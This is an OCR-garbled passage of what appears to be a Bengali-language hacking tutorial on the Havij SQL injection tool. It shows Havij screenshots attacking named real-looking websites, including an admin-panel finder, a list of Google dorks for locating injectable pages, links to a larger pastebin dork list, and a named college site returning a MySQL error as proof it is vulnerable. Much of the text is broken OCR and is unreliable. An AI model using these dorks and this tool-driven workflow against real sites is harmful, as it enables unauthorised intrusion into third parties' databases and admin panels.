Get Columns  Get Data Save Tables  Save Data

password  usemame emall

1 | password  admin

ta Found:
ta Found:
ta Found;
ta Found:

o SEES “Find Admin” B % I
o ©xE Aaft APENE Administration Panel login (W@ (W& |



cott.com/theme.php?id=10/|

,,,,,, Syntax: 2

v| Method:

e JE)
Settings

Havij - Advanced/"ﬁL IntEbL T@/’
Varsob 15§L

"\5«

htt //ITbec
/
Check for update

Register

-

Watabe

\\jd

QL rp\
:SC‘LEJIP

Clear Log

2

AT A AT fSFoed STITRGA d19 b1 P« administration panel (39 FAF 55|

WE JE JRERA.php?2id=xx A[F NI A7



Analyze
Syntax: Auto Detect Y/

v| Method [GET v | Type: |Auto Detect 'J o i
] [GET_ | | Yo “Sav

)y S %
=X 1] b ]
Find Admin MD5 Settings

Path to search:

N
uccess res: Web G = 5
- \\
Faiture res: | 400,401,404 Fimie out: y \ Reties: 1

Found Pages:

Page

-
Status: I'm IDLE Clear Log/

Havij 1.15 Pro 4

“Path to Search” I@ =y« URLTC fr@e / w=l

e AFF “Start” LM FF FPAI ORE AEANE Administration Panel login page BT (W& |
e VORME AT Administration Panel (ST |
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£ Havij

http://paulprescott.com/theme.php?id=10'
Detec [ Syntax: 2

;;Auto Detect vJ Method: ‘(;ET v T}'

ttp://paulprescott.com/

‘Web A.ppn/ th asp

//

Failture res: Timg7out;

Found F‘=QE°

Response

301 Moved Permanently
301 Maved Permanently
301 Moved Permanently

.Upaulorescob‘/com cpanel
http://paulpres ttcnm.k;wal
Y
, u\a

\ UY .

4319 administration panel login (TS I 8 G TSI 28HF ARG 3 THSAG @ aThE (o
TR P |

CTEIG faeyTee -Ffadiiee GoarT™
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OIRE F AT IET BF I
S SQL INJECT Fa1E ey SIRWE SleA[Fe W26 e J |
a7 ey AT dork use FF9 |
inurl:index.php?id=
inurl:trainers.php?id=
inurl:buy.php?category=
inurl:article.php?ID=
inurl:play_old.php?id=
inurl:declaration_more.php?decl_id=
inurl:Pageid=

inurl:games.php?id=
inurl:page.php?file=
inurl:newsDetail.php?id=
inurl:gallery.php?id=

9% AT 3% dork SR sql SRS TRE YBE Gy |
8500 SQL dorks list

http://pastebin.com/dzknXjgP

or

http://pastebin.com/ayV6tNS2

TN 9 AF6! dork @ IFEIWww.google.com 9 SEARCH g |

inurl:news-and-events.php?id=

9% dork AT SEARCH U@ SfSy S SRE (W (AT (W& AN 9Fb] ARG oo |
(A
http://www.eastodissa.ac.in/news-and-events.php?id=22
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(A : “You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the

right syntax to use near ”’ at line 1"
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